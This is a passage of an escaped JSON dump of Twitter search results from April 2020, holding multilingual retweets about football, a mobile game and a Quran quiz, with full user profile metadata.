\\u203b\\u571f\\u66dc\\u30fb\\u65e5\\u66dc\\u30fb\\u795d\\u796d\\u65e5\\u306f\\u304a\\u4f11\\u307f\\u3092\\u3044\\u305f\\u3060\\u3044\\u3066\\u304a\\u308a\\u307e\\u3059\\u3002 \\u30e1\\u30fc\\u30eb\\u3001\\u304a\\u554f\\u3044\\u5408\\u308f\\u305b\\u306e\\u304a\\u8fd4\\u4e8b\\u306f\\u7fcc\\u55b6\\u696d\\u65e5\\u3068\\u306a\\u308a\\u307e\\u3059\\u3002 \\u2764\\u30b3\\u30e9\\u30dc\\u306f\\u5927\\u6b53\\u8fce!\\uff01 #8000\\u30d5\\u30a9\\u30ed\\u30fc\\u30ef\\u306e\\u304a\\u9858\\u3044 #\\u62e1\\u6563\\u5e0c\\u671b\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6691,\"friends_count\":30,\"listed_count\":13,\"created_at\":\"Mon Aug 19 09:09:28 +0000 2019\",\"favourites_count\":527,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":209,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236235021934977025\\\/aYI9CgxV_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236235021934977025\\\/aYI9CgxV_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1163377400081612800\\\/1583576667\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2224,\"favorite_count\":550,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"is_quote_status\":false,\"retweet_count\":2224,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511288590338,\"id_str\":\"1254206511288590338\",\"text\":\"RT @RiZzyUTD: There are still some Chelsea fans who say \\\"Lampard > Ole\\\". Let me remind you, Lampard faced Ole 3 times (2x at home) this sea\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"RiZzyUTD\",\"name\":\"RiZzy\\ud83d\\udd34\",\"id\":1113785724975890435,\"id_str\":\"1113785724975890435\",\"indices\":[3,12]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":942008384,\"id_str\":\"942008384\",\"name\":\"NwabuKing Alfonso\",\"screen_name\":\"AlfonsoNwab\",\"location\":\"Lagos\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":514,\"friends_count\":2063,\"listed_count\":1,\"created_at\":\"Sun Nov 11 19:15:25 +0000 2012\",\"favourites_count\":26641,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":27703,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1178184591544336384\\\/jXp8EFVQ_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1178184591544336384\\\/jXp8EFVQ_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/942008384\\\/1442338235\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 15:51:27 +0000 2020\",\"id\":1254075557697986562,\"id_str\":\"1254075557697986562\",\"text\":\"There are still some Chelsea fans who say \\\"Lampard > Ole\\\". Let me remind you, Lampard faced Ole 3 times (2x at home\\u2026 https:\\\/\\\/t.co\\\/OZZHocU4ZE\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/OZZHocU4ZE\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254075557697986562\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[120,143]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1113785724975890435,\"id_str\":\"1113785724975890435\",\"name\":\"RiZzy\\ud83d\\udd34\",\"screen_name\":\"RiZzyUTD\",\"location\":\"\",\"description\":\"@ManUtd Fan account | Private acc:@PrivRiz | \\ud83c\\uddf8\\ud83c\\uddf4\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":42282,\"friends_count\":2589,\"listed_count\":228,\"created_at\":\"Thu Apr 04 12:49:44 +0000 2019\",\"favourites_count\":121877,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":41101,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253155559098003456\\\/FAM_cCLX_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253155559098003456\\\/FAM_cCLX_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1113785724975890435\\\/1586841143\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":281,\"favorite_count\":2766,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":281,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511217143811,\"id_str\":\"1254206511217143811\",\"text\":\"RT @qootaro7: \\u5b54\\u660e\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u304c\\u308b\\u306e\\u3081\\u3063\\u3061\\u3083\\u9045\\u3044\\u3067\\u3059\\u304c\\u3001\\u5f7c\\u3092\\u77e5\\u308c\\u3070\\u77e5\\u308b\\u307b\\u3069\\u300e\\u3082\\u3063\\u3068\\u2026\\u9045\\u304f\\u3066\\u3044\\u3044\\u306e\\u3088\\u2026\\uff01\\uff01\\uff01\\u305d\\u308c\\u3067\\u3053\\u305d\\u2026\\u541b\\u3060\\u2026\\uff01\\u30a2\\u30e9\\u30e9\\u30a4\\u2026\\uff01\\u300f\\u3063\\u3066\\u306a\\u308a\\u307e\\u3059\\u3002\\n\\u3067\\u3082\\u4eca\\u56de\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u3052\\u306b\\u6642\\u9593\\u5236\\u9650\\u304c\\u3042\\u308b\\u306e\\u3067\\u3001\\u305d\\u306e\\u8fba\\u308a\\u6c17\\u3092\\u3064\\u3051\\u3066\\u30fc\\u3002 https:\\\/\\\/t.co\\\/Q8f71XG\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"qootaro7\",\"name\":\"Fake6\\u5dfb\\u3092\\u8aad\\u3093\\u3060Qoo\\u305f\\u308d\\u30fc\",\"id\":726817725419397120,\"id_str\":\"726817725419397120\",\"indices\":[3,12]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":195312634,\"id_str\":\"195312634\",\"name\":\"\\u306a\\u3080\\u306a\\u3080\",\"screen_name\":\"namunohi\",\"location\":\"\\u5343\\u8449\\u770c\",\"description\":\"\\u6210\\u4eba\\u6e08\\u8150\\u5973\\u5b50 \\u7dcf\\u4e00 \\u7dd1\\u9ad8 \\u5d50\\u8fc5 \\u30b6\\u30d7\\u30ec\\u30aa \\u30de\\u30fc\\u30ed\\u30de \\u5973\\u4f53\\u5316\\u611b\\u3057\\u3066\\u308b \\u767e\\u5408\\u3082\\u30d8\\u30c6\\u30ed\\u3082\\u5927\\u597d\\u7269 \\u81ea\\u5df1\\u5b8c\\u7d50\\u3059\\u308b\\u6027\\u8cea\\u306e\\u305f\\u3081\\u4f1a\\u8a71\\u304c\\u82e6\\u624b RT\\u9b54 \\u8003\\u5bdf\\u5927\\u597d\\u304d\\u3060\\u304c\\u81ea\\u5206\\u3067\\u3067\\u304d\\u308b\\u3068\\u306f\\u8a00\\u3063\\u3066\\u3044\\u306a\\u3044 \\u5357\\u7121\\u306e\\u65e5\\u751f\\u307e\\u308c\",\"url\":\"https:\\\/\\\/t.co\\\/zyXOarl5eN\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/zyXOarl5eN\",\"expanded_url\":\"https:\\\/\\\/fusetter.com\\\/u\\\/namunohi\",\"display_url\":\"fusetter.com\\\/u\\\/namunohi\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":294,\"friends_count\":565,\"listed_count\":50,\"created_at\":\"Sun Sep 26 11:10:51 +0000 2010\",\"favourites_count\":156962,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":538977,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"9AE4E8\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme16\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme16\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/495384537585573889\\\/RjXK-joV_normal.jpeg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/495384537585573889\\\/RjXK-joV_normal.jpeg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/195312634\\\/1470121689\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"BDDCAD\",\"profile_sidebar_fill_color\":\"DDFFCC\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 13:03:54 +0000 2020\",\"id\":1254033393991335937,\"id_str\":\"1254033393991335937\",\"text\":\"\\u5b54\\u660e\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u304c\\u308b\\u306e\\u3081\\u3063\\u3061\\u3083\\u9045\\u3044\\u3067\\u3059\\u304c\\u3001\\u5f7c\\u3092\\u77e5\\u308c\\u3070\\u77e5\\u308b\\u307b\\u3069\\u300e\\u3082\\u3063\\u3068\\u2026\\u9045\\u304f\\u3066\\u3044\\u3044\\u306e\\u3088\\u2026\\uff01\\uff01\\uff01\\u305d\\u308c\\u3067\\u3053\\u305d\\u2026\\u541b\\u3060\\u2026\\uff01\\u30a2\\u30e9\\u30e9\\u30a4\\u2026\\uff01\\u300f\\u3063\\u3066\\u306a\\u308a\\u307e\\u3059\\u3002\\n\\u3067\\u3082\\u4eca\\u56de\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u3052\\u306b\\u6642\\u9593\\u5236\\u9650\\u304c\\u3042\\u308b\\u306e\\u3067\\u3001\\u305d\\u306e\\u8fba\\u308a\\u6c17\\u3092\\u3064\\u3051\\u3066\\u30fc\\u3002 https:\\\/\\\/t.co\\\/Q8f71XGiNe\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254033375712571395,\"id_str\":\"1254033375712571395\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Q8f71XGiNe\",\"display_url\":\"pic.twitter.com\\\/Q8f71XGiNe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/qootaro7\\\/status\\\/1254033393991335937\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1334,\"h\":750,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254033375712571395,\"id_str\":\"1254033375712571395\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Q8f71XGiNe\",\"display_url\":\"pic.twitter.com\\\/Q8f71XGiNe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/qootaro7\\\/status\\\/1254033393991335937\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1334,\"h\":750,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1254029743504031744,\"in_reply_to_status_id_str\":\"1254029743504031744\",\"in_reply_to_user_id\":726817725419397120,\"in_reply_to_user_id_str\":\"726817725419397120\",\"in_reply_to_screen_name\":\"qootaro7\",\"user\":{\"id\":726817725419397120,\"id_str\":\"726817725419397120\",\"name\":\"Fake6\\u5dfb\\u3092\\u8aad\\u3093\\u3060Qoo\\u305f\\u308d\\u30fc\",\"screen_name\":\"qootaro7\",\"location\":\"\",\"description\":\"\\u304f\\u30fc\\u305f\\u308d\\u30fc\\u3067\\u3059\\u3002\\u30a4\\u30b9\\u30ab\\u30f3\\u30c0\\u30eb\\uff08\\u5927\\u5c0f\\uff09\\u00d7\\u30a6\\u30a7\\u30a4\\u30d0\\u30fc\\uff08\\u5927\\u5c0f\\uff09 \\u30d5\\u30e9\\u2161\\u3068\\u30e1\\u30eb\\u2161\\u3082\\u3082\\u3050\\u3082\\u3050\\u3002\\u30b5\\u30ea\\u30a8\\u30ea\\u5148\\u751f\\u30fc\\uff01\\u30a8\\u30ed\\u3044\\u30fc\\uff01\\u30ea\\u30d0\\u306f\\u97f3\\u697d\\u6027\\u306e\\u9055\\u3044\\u3067\\u305d\\u3063\\u3068\\u96e2\\u308c\\u308b\\u3002\\u7121\\u8a00\\u30d5\\u30a9\\u30ed\\u30fc\\u5931\\u793c\\u81f4\\u3057\\u307e\\u3059 \\u6210\\u4eba\\u6e08\\u3067\\u3059\\u308f\\u3088\\u3002\\u3074\\u304f\\u3057\\u3076\\uff1ahttps:\\\/\\\/t.co\\\/lCgu9WQyrN\",\"url\":null,\"entities\":{\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/lCgu9WQyrN\",\"expanded_url\":\"https:\\\/\\\/pixiv.me\\\/ku2222\",\"display_url\":\"pixiv.me\\\/ku2222\",\"indices\":[98,121]}]}},\"protected\":false,\"followers_count\":787,\"friends_count\":135,\"listed_count\":18,\"created_at\":\"Sun May 01 16:57:04 +0000 2016\",\"favourites_count\":17309,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":19510,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/891533014697562112\\\/j6zQ2wH8_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/891533014697562112\\\/j6zQ2wH8_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/726817725419397120\\\/1501392666\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":7,\"favorite_count\":11,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"is_quote_status\":false,\"retweet_count\":7,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511204700160,\"id_str\":\"1254206511204700160\",\"text\":\"RT @SharqiyaOyun: \\u2733\\ufe0f \\u0627\\u0644\\u0633\\u0624\\u0627\\u0644 \\u0627\\u0644\\u062b\\u0627\\u0646\\u064a :\\n\\u0622\\u064a\\u0629 \\u0641\\u064a #\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646 \\u062c\\u0645\\u0639\\u062a \\u0623\\u0631\\u0628\\u0639\\u0629 \\u0623\\u0633\\u0628\\u0627\\u0628 \\u062a\\u062f\\u0631\\u0643 \\u0628\\u0647\\u0627 #\\u0645\\u063a\\u0641\\u0631\\u0629 \\u0627\\u0644\\u0644\\u0647 \\u0644\\u0644\\u0639\\u0628\\u062f \\u0623\\u0630\\u0643\\u0631\\u0647\\u0627 \\u061f \\n\\u0646\\u0633\\u062a\\u0642\\u0628\\u0644 \\u0627\\u0644\\u0625\\u062c\\u0627\\u0628\\u0627\\u062a \\u062d\\u062a\\u0649 \\u063a\\u062f\\u0627\\u064b \\u0627\\u0644\\u0640 10\\u0645\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646\",\"indices\":[44,51]},{\"text\":\"\\u0645\\u063a\\u0641\\u0631\\u0629\",\"indices\":[78,84]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"SharqiyaOyun\",\"name\":\"\\u0639\\u064a\\u0648\\u0646 \\u0627\\u0644\\u0634\\u0631\\u0642\\u064a\\u0629 \\ud83c\\uddf8\\ud83c\\udde6\",\"id\":3327219576,\"id_str\":\"3327219576\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1237722641483681792,\"id_str\":\"1237722641483681792\",\"name\":\"\\u0627\\u0645 \\u0633\\u0644\\u0637\\u0627\\u0646 #\",\"screen_name\":\"HVrw0HcoBkavAo5\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":72,\"friends_count\":728,\"listed_count\":0,\"created_at\":\"Wed Mar 11 12:51:07 +0000 2020\",\"favourites_count\":2591,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":3335,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246136541015146496\\\/JZifYs9r_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246136541015146496\\\/JZifYs9r_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 19:35:17 +0000 2020\",\"id\":1254131886697431045,\"id_str\":\"1254131886697431045\",\"text\":\"\\u2733\\ufe0f \\u0627\\u0644\\u0633\\u0624\\u0627\\u0644 \\u0627\\u0644\\u062b\\u0627\\u0646\\u064a :\\n\\u0622\\u064a\\u0629 \\u0641\\u064a #\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646 \\u062c\\u0645\\u0639\\u062a \\u0623\\u0631\\u0628\\u0639\\u0629 \\u0623\\u0633\\u0628\\u0627\\u0628 \\u062a\\u062f\\u0631\\u0643 \\u0628\\u0647\\u0627 #\\u0645\\u063a\\u0641\\u0631\\u0629 \\u0627\\u0644\\u0644\\u0647 \\u0644\\u0644\\u0639\\u0628\\u062f \\u0623\\u0630\\u0643\\u0631\\u0647\\u0627 \\u061f \\n\\u0646\\u0633\\u062a\\u0642\\u0628\\u0644 \\u0627\\u0644\\u0625\\u062c\\u0627\\u0628\\u0627\\u062a \\u062d\\u062a\\u0649 \\u063a\\u062f\\u0627\\u064b \\u0627\\u0644\\u2026 https:\\\/\\\/t.co\\\/KYsIapnzTI\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646\",\"indices\":[26,33]},{\"text\":\"\\u0645\\u063a\\u0641\\u0631\\u0629\",\"indices\":[60,66]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/KYsIapnzTI\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254131886697431045\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3327219576,\"id_str\":\"3327219576\",\"name\":\"\\u0639\\u064a\\u0648\\u0646 \\u0627\\u0644\\u0634\\u0631\\u0642\\u064a\\u0629 \\ud83c\\uddf8\\ud83c\\udde6\",\"screen_name\":\"SharqiyaOyun\",\"location\":\"\",\"description\":\"| \\u0645\\u0646\\u0635\\u0629 #\\u0625\\u0639\\u0644\\u0627\\u0645\\u064a\\u0629 \\u0644\\u0646\\u0634\\u0631 #\\u0623\\u062d\\u062f\\u0627\\u062b \\u0648 #\\u0641\\u0639\\u0627\\u0644\\u064a\\u0627\\u062a \\u0648 #\\u0625\\u0639\\u0644\\u0627\\u0646\\u0627\\u062a #\\u0627\\u0644\\u0645\\u0646\\u0637\\u0642\\u0629_\\u0627\\u0644\\u0634\\u0631\\u0642\\u064a\\u0629 #\\u062a\\u0647\\u062f\\u0641 \\u0644\\u0625\\u064a\\u062c\\u0627\\u062f \\u0625\\u0639\\u0644\\u0627\\u0645 #\\u0646\\u0627\\u062c\\u062d #\\u0645\\u0633\\u0624\\u0648\\u0644 \\u062a\\u062c\\u0627\\u0647 #\\u0648\\u0637\\u0646\\u0647 \\u0648\\u0645\\u062c\\u062a\\u0645\\u0639\\u0647 \\u0648\\u0641\\u0642\\u0627\\u064b #\\u0644\\u0631\\u0624\\u064a\\u0629 2030 \\u0628\\u0640 #\\u0625\\u0634\\u0631\\u0627\\u0641 \\u0641\\u0631\\u064a\\u0642 #\\u0625\\u0639\\u0644\\u0627\\u0645\\u064a\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":56770,\"friends_count\":202,\"listed_count\":97,\"created_at\":\"Sun Aug 23 21:50:25 +0000 2015\",\"favourites_count\":3920,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":39511,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1179520814296784896\\\/Dj5_aP9F_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1179520814296784896\\\/Dj5_aP9F_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3327219576\\\/1587401418\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1660,\"favorite_count\":638,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ar\"},\"is_quote_status\":false,\"retweet_count\":1660,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ar\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511171031041,\"id_str\":\"1254206511171031041\",\"text\":\"@PeterSchiff Peter 